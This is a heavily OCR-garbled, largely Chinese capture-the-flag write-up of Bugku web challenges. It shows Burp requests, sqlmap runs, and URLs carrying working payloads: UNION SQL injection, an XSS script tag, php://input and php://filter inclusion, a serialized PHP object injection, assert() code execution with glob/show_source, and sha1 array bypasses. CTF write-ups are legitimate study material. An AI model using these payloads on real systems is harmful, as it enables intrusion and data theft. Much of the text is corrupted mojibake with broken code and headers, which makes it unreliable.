Accept-Language: zh-CM,zh;q=0.6 2n-US;q=0.5&n;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131 _
Referer: http:/120.24 86.145:8002/chengjidanfindex. php Submit
Cookie: |Secer=s:0:""; PHPSESSID=6=4aunkt7 as1d3krmSpauhplgodBahve
Upgrade-Insecure-Requests: 1
sketf_flag 1
id="union select 1 column_name,1 1 from information_schema.columns where I
table_schema='skctf_flag' and table_name="ldg" limit 13
M
N
|
|
|
-
S X e |l
? < + = Type a search term 0 matches L
- ype a search | E1S ) o
Done 1,359 bytes | 51 millis

Burp Suite Community Edition v1.7.30 - Temporary Project

kS -

| Burp Intruder Repeater Window Help

[Targel l’ Proxy l’ Spider I Scanner l’ Intruder TRepeatel T Sequencer l’ Decoder I Comparer l’ Extender I Project options l’ User options TAIens }

1= | ..
Go Cancel < |v > |

Target: hitp://120.24.86.145:8002 @ @

Host: 120.24.86.145:8002

User-Agent: Mozilla/S.0 (Windows NT 6.1; WinG4; x64; nv56.0) Gecko/20100101
Firefox/56.0

Accept: text/html application/xhtml+xml application/xml; g=0.9 ** ¢=0.8
Accept-Language: zh-CM zh;q=0.8 en-US;q=05 &n:q=03

" Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Pttt O

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML IREldel ]
FOST /chengjidan/index. php HTTR/1.1 A A

oooood




0.24.86.145:8002/chengjidan/index. php

Connection: close
Upgrade-Insecure-Requests: 1

id="union select 1 sketf_flag, 1.1 from sketf_flag.fidg#

AN

(S |

Done

Cookie: |Secer=s:0:""; PHPSESSID=6s4aunkir as1d3krmSpauhplgodBahve

| Submit ‘

Math

BUGKU(Sql_INJECTON_4813drd8hz4)
x®,

kb
L4

0 matches =<

ke
v

T

1,380 bytes | 48 millis

information_schemaiX M FE R mysqlH 7w I, B4 T iR EHEECHEN AN, WHEERBRE, FHILEE. X4
BW|WELSTT —BESqQRENFHEHBINRER, TUERMEXER, TH—T.

XEWEREE—T: FHinformation_schemaiX AN FERE W MG BRI E R TE KRG . B0 2 808 ERS 2 R AT
BHAHTE. X8 B ARESRSpythonli A, RRFMITUERIRMEMLER.

IXIE RS AT LA Flsqmap TR EM, EEANFTRELMBARGE, WU EBEFHARTEELHE. TiHsqmap (FEE
python2 T, M EFMRLZLEHE) , Kbup BB htp A EE R S, AT M KIsqimapfr4d, 2RRE. &
x. 1B5, wTE. GXERAZTJIANEREsqmapin4, HMELZRAD, sUET%EY. . .emmmm... F7E% TR

a1

[*] starting at ©9:35:15

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (POST)
Type: UNION query

BN Ch\Windowshsystem32\cmd.exe |

['] legal disclaimer: Usage of
consent is illegal. It is the
local, state and federal laws.
sible for any misuse or damage

D:\Programs\Python\Python27\sqlmapproject-sqlmap-574074e>python sqlmap.py -r C:\
Users\acer\Desktop\test.txt -p id --dbs --tamper=space2comment --level 5 --risk

.12.238dev}

Z/sqlmap.org

sqlmap for attacking targets without prior mutual
end user's responsibility to obey all applicable
Developers assume ho liability and are not respon

caused by this program

Title: MySQL UNION query (random number) - 4 columns
Payload: id=-8731' UNION ALL SELECT 8929,8929,8929,CONCAT(Ox7162786b71,0x514




didclebdS1 T257756bYdYbTTHaS05T51636F4e4 TH36F486T4b516249424bbaTo42695265684aT0 , OX
T17ar8rovi)#

[09:35:15] [INFO] the back-end DBMS is MySaL
back-end DBMS: MySOL unknown

avallable databases [2]:
[#] information_schema
[#] sketf_flag

[*] shutting down at 089:35:15

em32\cmd.exe

D:\Programs\Python\Python27\sqlmapproject-sqlmap-574074e>python sqlmap.py -r C:\
Users\acer\Desktop\test.txt -p id --table -D skctf_flag --tamper=space2comment -
-level 5 --risk 3

.12.238dev}

Z/sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutualfg
consent is illegal. It is the end user’'s responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[%] starting at 09:36:28

sqlmap resumed the following injection point(s) from stored session:
Parameter: id (POST)

Type: UNION query

Title: MySQL UNION query (random number) - 4 columns

Payload: id=-8731" UNION ALL SELECT 8929,8929,8929,CONCAT(0x7162786b71,0x514
didclebds1 T257ToEbUYdYbTTHa505 75163644 TH36FH86FUL5 162494 24b6aTo5H2695265684aT0 , OX
717a787071)#

[09:36:29] [INFO] the back-end DBMS is MySaL
back-end DBMS: MySOL unknown




Database: skctf_flag
2 tables]

AWindows\system32\emd.exe

D:\Programs\Python\Python27\sqlmapproject-sqlmap-574074e>python sqlmap.py -r C:\
Users\acer\Desktop\test.txt -p id --column -D skctf_flag -T flidg --tamper=space2
comment --level 5 --risk 3

.12.238dev}

Z/sqlmap.org

['] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’'s responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[%] starting at 09:37:13

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (POST)

Type: UNION query

Title: MySQL UNION query (random number) - 4 columns

Payload: id=-8731° UNION ALL SELECT $£929,8929,8929,CONCAT(0xT7162786bT1,0x514
didclebds1 T25TTSEbHdYbTTHa505TS1636F4e 4 TH36FU486F4b5 162494 24b6aTo42695265684aT0 , OX
T17ar8revri)#

[09:37:14] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySOL unknown

Database: skctf_flag
Table: flig
[1 column]

| sketf_flag | varchar(64) |
- mmm - F-mmmmmmmm e +




Web6

A E R R BRBERBEERA, B RMEEMTRHEES, oA —&E8—Wmd, HERAZ, Bl Mburpsuitedl
EF— 1. BRE-TFHKFEEA—H, ERERBETHAHEEN. RESBENKNEFEEE — MagFBE (=4
B, T RERbaseb4gmiGHISR) , MixTF BAASTHE .

r — » - ———— — ~
B Burp Suite Community Edition v1.7.30 - Temporary Project =A==
| Burp Intruder Repeater Window Help |
[Target l’ Proxy l’ Spider I Scanner l’ Intruder TRepeatel T Sequencer l’ Decoder I Comparer l’ Extender I Project options l’ User options TAIerts }
B4 = [
Go Cancel <|v > Target: http://120.24.86.145:8002 | & | 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET fwebB/ HTTP/ .1 : HTTP/1.1 200 0K :
Host: 120.24.66.145:6002 Server: nginx
User-Agent: Mozilla/S.0 (Windows NT 6.1; WinG4; x64; nv56.0) Gecko/20100101 Firefox/56.0 Date: Tue, 19 Dec 2017 06:18:01 GMT
|| Accept: text/html,application/shtml+xmlapplication/xml;g=0.3 */*q=0.8 Content-Type: text/html;charset=utf-8
Accept-Language: zh-CM,zh;q=0.8 &n-US;q=0.5 &n;q=03 Connection: close
Accept-Encoding: gzip, deflate Esxpires: Thu, 19 Nov 1981 08:52:00 GMT
Cookie: ISecer=s:0:""; PHPSESSID=6s4aunkt7 as1d3krmSpauhplgodBahve Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close Pragma: no-cache
Upgrade-Insecure-Requests: 1 flag: BLeR55GEBL+YELINEZSZI 7 yM57uZEL 2gZmxhZ+WQpzogTnpRelUSESTO=
Pragma: no-cache Content-Length: 83
Cache-Control: no-cache
Content-Length: 2 <fbr> PR Gt dilll< /- OK | now you have to post the mar hat you find —>
|
i
|
t
Il
= e
v v
- < + = Type a search term 0 matches ? < + = Type a search term 0 matches
Done 439 bytes | 65 millis
r Y
& e=l= ﬂ
/ B XSS'OR - Hack with Ja X \\ .
. . .
C | © &% | xssorio & * L=
l -16EN DE (®Nu ()&bx; a

-18EN DE @, C &# Bi#;

PACKER ¢ UNPACKER

J5 BEAUTIFY EVAL CODZ  CLEAR CODZ

ESCAPE ¢ UNESCAPE  ENCODEURI ¢ DECODEURI ~ ENCODEURIC <€ DECODEURIC  HTML2]5 ¢ 1JS52HTML  HTMLENCODE ¢ HTMLDECODE
BASEG4EN 9.

MD5 v EN UTF-7 v EN / DE

= REPLACE

BIIIAAGE | iFfagll: NzQYNDI=



AAER, ENFRE T A —Mag... 3 Bix/Magit £base64MZ MR (NKEBH'=FHEKK) , BEE KBRS
Ro CXEXMEIGERRE: 74242)

M TR 7R T "now you have to post the margin what you find”, s 2 i ZEpost—/ marginfi . X B R 2R T 7 KR Khttp
ERLPIAmargin=74242, {HEMBBKNMLERMZ BT —H. MW LK% HpythonE 4, i b&i&FEyim. #
o MTHE. GXEWEFE, MHAFEHATR, #EREERcookie £RZ marginfE A RER Rlflag. )

TR webb.py - E\tA\ct-SETF & \webb.py (3.6.3) = B3 % ) & rython363shell o lueliE S
File Edit Format Run Options Window Help File Edit Shell Debug Options
import reguests, baseB4d il Window Help
1mport’re . Prvthon 3.6.3 (v3.6.3:2¢5fedg, 0 »
url = "http://120. 24. 86. 145: 8002 /web6/ et 3 2017, 18:11:49) [MSC v.19 [
§ = requests. Session( 00 64 bit (AMDE4)] on win3Z
conte?t = s.post (url) . . Type “copyright”, “eredits” or
htm} = content. headers[’ flag” ] “license (J” for more informatio
#print (html) 1.
#print (hasefd. bEddecode (html) ) 33
#print(baseGQ.b64decode(html)[—8 :]) —=——=—=—=—=—=—=—=—=—=—=—=—==—=—===== RESTART:

| flag= baseB4. bBddecode (hasefd. bBddecode (html) [-8 :]1) E:hetfietf-8R 2 F € \vwebb. py ===
print(flag) ——=—=—=—=—=—=—=—=—=—=—=—======
data = {"margin’ :flagl B E02399°
content = s.post(url, data § data) KEY {111dd62f=d377076be18a]
print (content. text) 3y

| T . 5

Ln: 7 Col:12 Ln: 7 Col: 4
-
cookiesk B

THAREZE, FRITEEBE, il
http://120.24.86.145:8002/webl11/index.php?line=&filename=a2V5cy50eHQ=

GETH AR T linefifilenamePi N5 &, 11 Hfilename&baseb4mig L R, D2 5 KILE Kifilename Akeys.txt, &
MineRAREHE AT BB LEBR K iLfilenameindex.php, 3 HEMline, HZ&E3|Mindex phpl ABMIT -

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

! =>"keys.txt',

- ©

=>"index.php',

)s

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ ‘'margin']=="margin'){
$file_list[2]="keys.php"';

¥

ifl(in arravl(d¢file ¢Ffile TictIN{



A\ Uy \ P aany g aan_aaovy g

$fa = file($file);
echo $fa[$line];

BRI BARIS . BATEMI R MR E T i —Moookie, fHifile_listhflfrkeys.php, RJE HiFHE XA CHHNE. B—
AN/ python il A< BI T

File Edit Format Run Options Window Help

import bhaseBd

import requests

cookies = {"marzin’ : margin’}

url="http://120. 24, 86. 145:8002/web1l/index. php?line=%d&filename=aWskZigucGhw

s = requests. Session ()

content = s.get ("http://120. 24, 86, 145:8002 /web11l/index. php?line=0%d&f1ilename=a2VSicySwalHA=", coockies = cookies)
print (content. text)

" ~
i Python 3.6.3 Shell = 5] [

File Edit Shell Debug Options Window Help
Python 3.6.3 (v3.6.3:2c5fed8, Oct 3 2017, 18:11:49) [MSC v 1900 64 bit (AMDE4)] =

orn win32 I
Type “copyrizht”, “ecredits” or "license ()" for more information.
32

== RESTART: E:hetfietf-BR3F Sicookiesqipian. py ================

<Pphp $kev="KEY{kev_keysl’;, %>
Ry

B ¥ Fburpsuite E & Mhttpsk, 0T,

B! Burp Suite Community Edition v1.7.30 - Temporary Prnjact— _ - ‘ ﬂ@g

Burp Intruder Repeater Window Help k

[Targel T Proxy T Spider I Scanner T Intruder TRepeatel T Sequencer T Decoder I Comparer T Extender I Project options T User options TAIer‘Ls }

3= |4 = |6« (B |

Go Cancel < |v > | Target: http://120.24.86.145:8002 | || 2

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

GET fwebl1/index. php?line=0&filename=a2VacyswaHA= HTTR/ 1 s HTTP/.1 200 OK A
Host: 120.24.86.145:8002 T Sewer nginx F
User-Agent: Mozilla/5.0 (Windows NT B.1; WinG4; x64; v56.0) Geckof20100101 Firefox/56.0 Date: Tue, 19 Dec 2017 07:20:52 GMT
Accept: text/html application/xhtml+xml application/xml;q=0.9 */*;¢=0.8 Content-Type: text/html
Accept-Language: zh-CM zh;q=0.8 en-US;q=05 en;q=03 Connection: close
Accept-Encoding: gzip, deflate Content-Length: 30

Connection: close

Cookie: margin=rmargin <?Pphp $key="KEY{key_keys}; 7>
Upgrade-Insecure-Requests: 1
Fragma: no-cache

Cache-Contral: no-cache

ML
s



L3 L1
EJ EJ EJ EJ Type a search term 0 matches EJ EJ [ZJ B Type & search term 0 matches

Done 165 bytes | 51 millis

|

XSS

BHWEBRLEBRIEN—Bxssf{iT, XBERBHEGE alert(_key_ ) , BERINUE, _key_ 2 HIIBHARIE
B flag fH.

|

TH P EEWMAE, UM Z2EEgetF XREAK, RT —TF id=1, KAREHHIT —M GRUARE N L IELF
ZRTIARXNFRAL) L ZAEEREEMN IR, KA — B s R 8, T &7 B k11 2 @ i X B
i) document.getElementById('s').innerHTML = s; REIH.

BARBEMNZRE: Bidgeti AEENIdFBAES T s s E, s BEEX—RRBHETMIRHK id="s" FIREKNA
Ao MBAMEIETH2ANE, TWHRMZR BN ANE. FrUE T xssis:

- —

_, Tl (e — o) bl
/O xssAm x W B
& (& ‘G) 103.238.227.13:10089/?id=<script>alert(_key );</script> 3] ‘,Q(. 0O %

XSS;ENMR \ A

1, EEN—FRXSSIES , FABIFlagl&
2, WontlSalert(_key ), _key =BEzltiEia

<script>alert(_key_);</script> =
[w ﬂ Elements Console  Sour Network  Performance  Memory  Application  Security  Audits  EditThisCookie i X
P odiv class="container">.</div> -~ .
. Styles | Computed Event Listeners
<l-- jQuery3ft. S TEbootstrap.min.js ZHISIA--> ! °
<script src="http://apps.bdimg.com/1libs/jauery/2.1.4/jquery.min.js">«</script> Filter thov .cls +‘ -

<!-- FRFEIH Bootstrap #l» JavaScript M -->
<script src="http://apps.bdimg.com/1ibs/bootstrap/3.3.4/js/bootstrap.min.js">

element.style {

</script> ¥

...| ¥iscript> == 30 *{ vendor-prefixes.less:77 ||
var s="&lt;scriptégt;alert(_key );&1t;/scriptégt;”; —mebkit—box—sizing—border—
document.get tById('s").innerHTML = s; bews
</script> box-sizing: border-box;
</body> I I
</html> M script { user agent stylesheet

html  body displav: none: M

RIBATEN BRI FHEE BN NRRIEBNTHAT, MEAUXAMERERET REF. EFEMIIELE, RIWESRIG
F, <. > #HRUNMMISEZAEREER, INiZREDRAsHidERBEThtmIE X T K. XEH \ueesc . \ueese Ko HRE
(sRIXRFESHHE TR « GRWOT:

- —

_, 0 Tl (e — ) b5,
/O xssAm x W -
& (& ‘G) 103.238.227.13:10089/?id=\u003cscript\u003ealert(_key );\u003¢/script\u003e & ‘,Q(. 0O %

XSS;EN M,

1, EEN—FRXSSHES , FABIFlagl&
2, WontlSalert(_key ), _key =BEzltiEia




[w ﬂ Elements Console Sources Metwork  Performance Memory  Application  Security  Audits  EditThisCookie i X
ooy -
¥ <div class="container"> “| Styles | Computed Event Listeners >
tbefore o
<h2>XSSHE A MR < /h2> Filter thov .cls +
¥ div class=\ alert alert-success™>» element.style {
<prl. EFA—EXSSHB, REFlaglH</p> i
<p>2. WiEFalert(_key_), key BB /p> -
<Jdivs * 4 vendor-prefixes.less: 77
¥odiv id="s"> —rebkit—bex—sizing—berder—
<scriptralert( Flag:17f894325e90085b30a5ddefce3dacds” ) ;< /script> o . . N
s moz-—box-—sizing:—border—beox;
</div> box-sizing: border-box;
crafter )
</div>
<l-- jQueryXff. FBTEbootstrap.min.js ZHISLA--> script { user agent stylesheet
<script src="http://apps.bdimg.com/1libs/jquery/2.1.4/jquery.min.js"></script> - display: none;
e ——— _—

hever give up

TAREZE, MERT —aiERHRE, FTBAF12E8FIEN, F3H 1p.htmiidR, JH—TFTRASEERRER
www.bugku.com, REATAburpsuiteINBE — TFXHFEEEHAEE. MEBLRMT: GRIEBINBIKNER—-BE#HZ
1p.htmliE 3K 77 I www.bugku.com, &R =27Eburpsuiteftargetit i~ T & 2 )

Burp Intruder Repeater Window Help

- - — = - —— — v A
B! Burp Suite Community Edition v1.7.30 - Temporary Project @m

[Targel l’ Proxy l’ Spider I Scanner l’ Intruder TRepeatel T Sequencer l’ Decoder I Comparer l’ Extender I Project options l’ User options TAIens }

10 = | 1 = [ 12 = |43 = [

Go Cancel < |v > Target: hitp://120.24.86.145:3006 [ﬁ ?

Request Response

Raw | Headers | Hex Raw | Headers | Hex HTMLTRender}

GET Aest/1p.html HTTP/ .1 : <HEAD=> D
Host: 120.24.86.145:8006 <SCRIPT LANGUAGE="Javascript">
User-Agent: Mozilla/s.0 (Windows NT 6.1; Winb4; x64; nv56.0) Gecko/20100101 Firefox/56.0 <l
Accept: text/html, application/xhtml+xml application/xml; g=0.9,%* ¢=0.8
Accept-Language: zh-CM,zh;q=0.8 &n-US;q=05 &n;q=0.3
Accept-Encoding: gzip, deflate var Words
Connection: close ="W3ICscripti3Ewindow.location. href%3D %27 http %3A S www. bugku.com %27 %3B%3 C/script%3
Upgrade-Insecure-Requests: 1 E%20%0A%3C%21-JTlyJTNCaWYIMjgIMJEIMjRROVUJTV CITI3aWQIMjcINUQGIMjKIMEEINODIIME
EIMDIoZWFKZXIIMjgIMjdMb2Nhd GlvbiUzQSUyMGhIbGxvl nBocCUzRmIkJTNEMS UyNyUyOSU
zQiUwQ SUwOWV4aXQIMjgIMjkIMOIIMEEINOQIMEEIMjRpZCUzR CUyNFIHRVQINUIIMjdpZCUy
NyU1RCUz QiUwQSUyNGEIMOQIMjRROVUJTVCITIZYS UyNyU1RCUzQiUwQSUyNGIIMOQIMjRT
ROVUJTVCITI3YiUyNyU1RCUzQiUwQWImJTI4 c3RyaX BveyUyO CUyNGEIMKMIMjcud TI3JTISJTI
5JTBBJTd CJTBBJTASZWHNobyUyMCUyN25vJTiwbm8IMjBubyUyMGSv Tiwbm8IMjBubyUyMG
SwITIBJTNCITBBITAS cmV0 dXJuJ TiwJ TNCITBBJTdEJTBBJTINZGFOYSUyMCUzRCUyMEBma
WxIX2dIdF9jb2502W50 cyUyOCUyNGEIMKMIMjdyJTI3JTISJ TNCJTEBaWYIMjgIMjRKYXRhJTNE
I JTNEJTIyYnVna3UIMjB pcyUyMGEIMjBuaWNIITiwcGxhdGVmb3JUI T Tly TIwYWS kJTIw. T1
0aWQIM0QIMO0 QwJTIwYWSk Tiwc3Ryb GVuJTI4JTIOYiUyOSUzRTUIMjBhbmQIMjBlcmVnaSU
yOCUyMjExMSUyMiSzdW.JzdHIIMjgIMjRiJTJDMCUyQzEIMjkIMKMIMjlxMTEQJ Tl TISJ ThwYWS
I kJTIwc3Vic3RyJTIHITIOYilyQz AIMKkMxJTISJTIxJTNENCUy O SUwQSUI QilwQSUwOXJIcXVpc
mUIMjgIMjJmNGwyYTNnLnR4 dCUyMilly0SUzQiUlwQSU3RCUwQWVscZUIMEEINOIIMEEIMD bw
| cmlud CUyMCUyMmSIdmVyJ TiwbmV2ZXIIMjBuZXZIcilyMGdpdmUIMjB1cCUyMCUyMSUyMSU
. yMSUyMiUzQiUwQSUIRCUwQSUwQSUwQSUzRiIUZRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write (NewWords);
}
OutWord(;
W=
</SCRIPT>
</HEAD=>
<BODY>
</BODY>
L </HTML=
v R4
+ < + = Type a search term 0 matches m < + = 0 matches
Done 1,554 bytes | 62 millis

Ems m e

A LAE Blresponse T — B F &, StH# Turldecode, KIH & —Bibaseb4gmiD I /4, FX X4 F44 5 1T

fi##, Furdecode, CXEIMEAMRIEHMNINE BIHFHF R KX RGGERN HETHMEANBERD , REHFB—Biphpfl

o,

<?nhn




SO P
if(!$_GET['id'])
{
header('Location: hello.php?id=1");
exit();
}
$id=$_GET['id'];
$a=$% GET['a'];
$b=$_GET['b'];
if(stripos($a,'."))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get contents($a, 'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"

{
require("f412a3g.txt");
}
else
{
print "never never never give up !!!";
?>

MR ZERRMIEHE NS HE. F2flag.

3 BN ET)
f 120.24.86.145:8006/test/hello. = | =+
[ €= ) (D 120.24.86.145:8006/test/hello.php?id =aaaa&a=php://input&b=%00123456 ~ 38 & || Q &% %8 $§$ % 8B % O ® |y =
(8 Bxipn @ CTF-£3F2 [ [RH=] 2FPH.. @ iTiR @ 120.24.86.145:8002/... @ Hacking Network Pr... [ EahRaE
INT Y| = @& SQL- XSS- Encryption- Encoding- Other-
@ Load URL http:,v',n'120.24.S5.145:Sl]()ﬁjtest/hello.phpl?id=aaaa&a=php://input&b=%00123456
4 split URL +
3 Execute
Enable Post data [ | Enable Referrer

Post data bugku is a nice plateform! -
flag{tHis_iS_THe_fLaG}

N

$data = @file _get contents($a,'r'); XEFHT file get contents() REAIFFME: 2B php://input
Bf, file_get_contents() XFFHHMMA. REKa® N php:input , fipostiiﬂilougku is a nice plateform! , FiLHJ
P45 datal® AH RLE .

ARAG T, XidE A W A A BTG 7 B K37, B DOX A T 22 AT 4R 2 B php 7 A 8 A0 807 BB 4 mUOR SR X — BiE .

eregi() RBE M FRHEHRBENEANFRE . FHRXNMRBE X %00EMW . 1 strien() RERASEMN%00. R
X —Fetk, SELRIE.

XIESE S, AT AEERVIM f4l2a3g. txt XA M.

welcome to bugku
TP, FI2EFEERKIAEXXHEE, MHESSXHZAE —MRIE, 7 E—MEENZE, AT URRE 1
SZd XA EIE K payload. (FIF file get contents() XANEREHIFEE. EHiEfile=indexphpBAEIL R, BrUAEBIFEA




php:/filter. )

_/.-" 120.24.86.145:8006/testl/?hdt x\-'-
€ ) (D 120.24.86.145:8006/testl/?txt=p oo | Qes w8 ¥ 4 0 @ v =
(8 m=ipE @ CTF - 239Fs ) EERa=] £FPH.. @ Ttk @ 120.24.86.145:8002/.. @ Hacking Network Pr... [ Emps

INT Y| = & SQL- XSS- Encryption- Encoding- Other-
@ Load URL  http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read =convert.base64-encode/resource=index.php -

% split URL /' o
4 Execute
Enable Post data [ | Enable Referrer

Post data welcome to the bugkuctf -

hello friend!

PD9waHAgIAOKJHR4dCA9ICRROVUWYJ0eHQIiXTsglAOKIGZpbGUgPSAKX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dve

4 I

X BT H B 4 R AT base64 R E ,  BATEL AT LAMS Elindex phpM¥RES . W17



<?php

$txt = $_GET["txt"];

$file = $ GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get contents($txt, 'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "MNREBLTERLA IRflaghk" ;
exit();
telse{
include($file);
$password = unserialize($password);
echo $password;
}
telse{
echo "you are not the number of bugku ! ";

$user = $_GET["txt"];
$file = $_GET["file"];
$_GET["password"];

sl
©
Q
wn
()
1}

if(isset($user)8&&(file_get_contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php

telse{
echo "you are not admin ! ";

L5825 $password = unserialize($password); F&R] PASIEBRMTIMIEREK.

unserialize() BN HE—KCFIIMHZREITERME, KHEEEPHPHIE. HWETFIKZER —IXNER, &BEHEREZ
objectRB. 54, XERH T AR ERE LIRS EHlaghi s if.

43 ¥r55index.php, FE#hintphpd A ES], T
<?php

class Flag{//flag.php
public $file;
public function _ tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");

}



XEENLT =K, KEPHEE _ tostring() BE, AWM TRILGKE XHEM, HWEESIHEN, B3EAN. EREFRLL
B, FENEE SRS B EAE RS Aok, AT LAAERANZE KflagitfEflag.phpH, B LARRAT 52 ZE A8 %A

F __tostring() XAEE, ibEREfag.phpstit. Bk BEEIES HFlagix A3, AIEUEE] unserialize() MRBEFF
HHZER—IMNR, BERREEREZ —MNER, THERMNXMMEEH, ELechoX MR, HecholidfE, s HX
X R RE, RATH AT ARIFZAS, RIFAH __tostring() B#. FrlARAIFEMRIEFlagK 4 passwordfEid—ANE& 1751
WZE., WEWT:

[EEEE
/ 120.24.86.145:8006,/test1/?txt x\120.24.86.145:8006/test1ﬂ1int.| x ‘ +
{:(---G) 120.24.86.145:8006/test1/?bxt=ph B oo Qe B8 & A 8 %0 2y =
(8 2= @ CF-239%Fa ) BAH=] %FrH.. @ TR @ 120.24.86.145:8002/... @ Hacking Network Pr... [ =aras
INT Y| = & SQL- XSS- Encryption- Encoding- Other-
@ Load URL  http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
% split URL +
b Execute
Enable Post data Enable Referrer
Post data welcome to the bugkuctf
+
hello friend!
good
@ Em=s Osss OFdE Iatees Cue 4ORE = Mg 8 & @ HitThisCookie (3 @ © O & X
+ 2% HTML & Bl
<html> @@ = [ |
<head»</head> = TE
. b
hello friend!
<br> i
<!--?php //flag{php_is_the_best_language} ?--> |
<br>
annd 4
html

¢ login1
BERREETARKsqiE, RSET THRBXE.

http://blog.csdn.net/qq_32400847/article/details/54137747

BHENATETARKsqE s M RE . X FIXEBM, EMHASEHR adnin © KKS, R)5Uadmin+# 853, BAT A CLEE R
Mo ER, NMEFfag. A7 AEARMBIEENK S E P REKsqiER, HEMBERZ. O


http://blog.csdn.net/qq_32400847/article/details/54137747

/ [ SKCTFEEERZ:

s \u

&) o B,

¢«  CloTz2|

47.93.190.246:49163/index.php

=42

-

SKCTF{4Dm1n HaV3 GreAt pOw3R}

BPAE:

VAR

© iR

7~ CV e TCESTH = 2

REMS A A2

oAy —A) %

BHSHHRSNEREDERE. BEATKRZE LAY, B assert() T, NMBRER,

F phpinfo() BRBORMIAL T RIATERRE. O

http://120.24.86.145:8010/?s=print_r(glob("*"))

http://120.24.86.145:8010/?s=show_source("flag.txt")

glob("*") W LAREUL IR . show_source() miseiaXiHHE.

CRRIEHL— AR R

TEE B T -
/ D 120.24.86.145:8010/7?=- = -

& C [G) 120.24.86.145:8010/?s=print_r(glob(%27%%27)) ﬁ' 0O %
Array ( [0] => conn [1] => f.htmIEyéf.php [3] => flag.txt [4] => index.php)
[w ﬂ Elements Console  Sources Metwork  Performance  Memory  Application  Security  Audits  EditThisCookie i X

<html>
<head></head>

"Array

[8] =» conn

[1] => .html

[2] =» f.php

[4] =» index

[3] =» flag.txt
-Php‘\\\“\x\xxxxx

Styles | Computed Event Listeners »

s

Filter thov .els 4

4

element.style {

H

body { user agent stylesheet
display: block;
margin:® 8px;

Y




| </body> \

</html>

htm

[ 120.24.86.145:8010/7s x

= (& l @ 120.24.86.145:8010/?s=show_source(%27flag.txt%27)
BUGEU (bughku_web_009801_a}
[w ﬂ Elements  Console  Sources MNetwork  Performance Memory  Application  Security  Audits  EditThisCookie X
Ehtnl> Styles | Computed Event Listeners
<head></head> :
- ¥ <body> == $8@ Filter thov .cls +‘ =
P <code>..<fcode>
ot ilement.style {
</html>

body { user agent stylesheet
display: block;
margin:» 8px;

¥

-------

“html

maccms-E £ cms
appcms
NHREE

FMREY
B E % WA Z EE, MEZRIIWA TS, WEAE, HEWELY sha1() REEANRBFN. ZHEEH
EBATRAEANAME, EHRMIS()ZERMER FRFE, WA T —XF JLIFERE 777 # RS AL -

XANMEH, RFAT sha1() REMRE: HGEAEEHAHARR, 2WmEHFREfalse, XE, J,ATMFEpasswdFluname
RNEER, AT Lged I .

120.24.86.145:8002/web7/7id- »
((:j (® 120.24.86.145:8002/web7/Zid=mar g | | Q &= | wBE ¥ A4 B S 0 6 v =

| BEinE @ CF-&£3FS [ [EAHS] 2TPH.. @ Tt @ 120.24.86.145:8002/... @ Hacking Network Pr... [ zalpss
INT Y| = & SQL- XSS- Encryption- Encoding- Other- I
@ Load URL http://120.24.86.145:8002/web7/?id=margin&uname[]=123 -
% split URL +

| y Execute

[¥] Enable Post data Enable Referrer
Post data passwd[]=abd ‘ =




if‘lf$_GéT[’unamé;] == $_P08ftrﬁass&d;])
print 'passwd can not be uname.’ ;

else if (shal($_GET[ uname’]) === shal($_POST[ passwd 1)&($ GET[ id ]==margin’)) s
die('Flag: ’.$flag);

else

111

- 2 2
print  sorry! ;

}
2> Flag: flag{HACK _45hhs_213sDD} =

1

Web8
BRI Z BTIRFIM file_get contents() BB .

] 120.24.86.145:8002/web8/?fn- x | ==

VA6 120.24.86.145:3002/web8/?fn=ph B oo Qex B8 ¥$ &4 0 % O # =
(8 Bxipm @ CF-s3Fa [ EEfo=] =FPH.. @ TR @ 120.24.86.145:8002/... @ Hacking Network Pr... [ Eaipss
| |INT Y| = & SQL- XSS- Encryption- Encoding- Other-

&l Lload URL  http://120.24.86.145:8002/web8/?fn=php://input&ac=123 -
% split URL +
' Execute

Enable Post data Enable Referrer
Post data 123 B

{ N
| $f = trim(file get_contents($fn)) ; |
if ($ac === 3$f)

{ — M
echo “<p>This is flag:” .” $flagl/p>";
}

else

{
echo “<prsorry!</p>”;
}
}

s

- - /
This is flag: flag{3cfb7a90fc0de31}

111
=

1

FHF? IEN?
AR ERE R, MARES HKENRARME—NT/EH, BLRIE.

[ 120.24.86.145:8002/we x \
— - - -

& C ‘ ® 120.24.86.145:8002/web10/index.php?id:keyaakeyjlv234key:/m/aakeya@

<?php

highlight_file( Z.php’ );

$key="KET { 3

$IM= pres_match("/kev. *key. {4, THkev:\/ W/ U #key) [a—z] [[ipunct:11/17, trim($_GET["id"]), $match);




ifC $In o
die(key 1is: 7. 3kev);

}
2> key is: KEY{OXOSIOPh550afc}

RTIENREXINA, BES T HIXREXENHE.

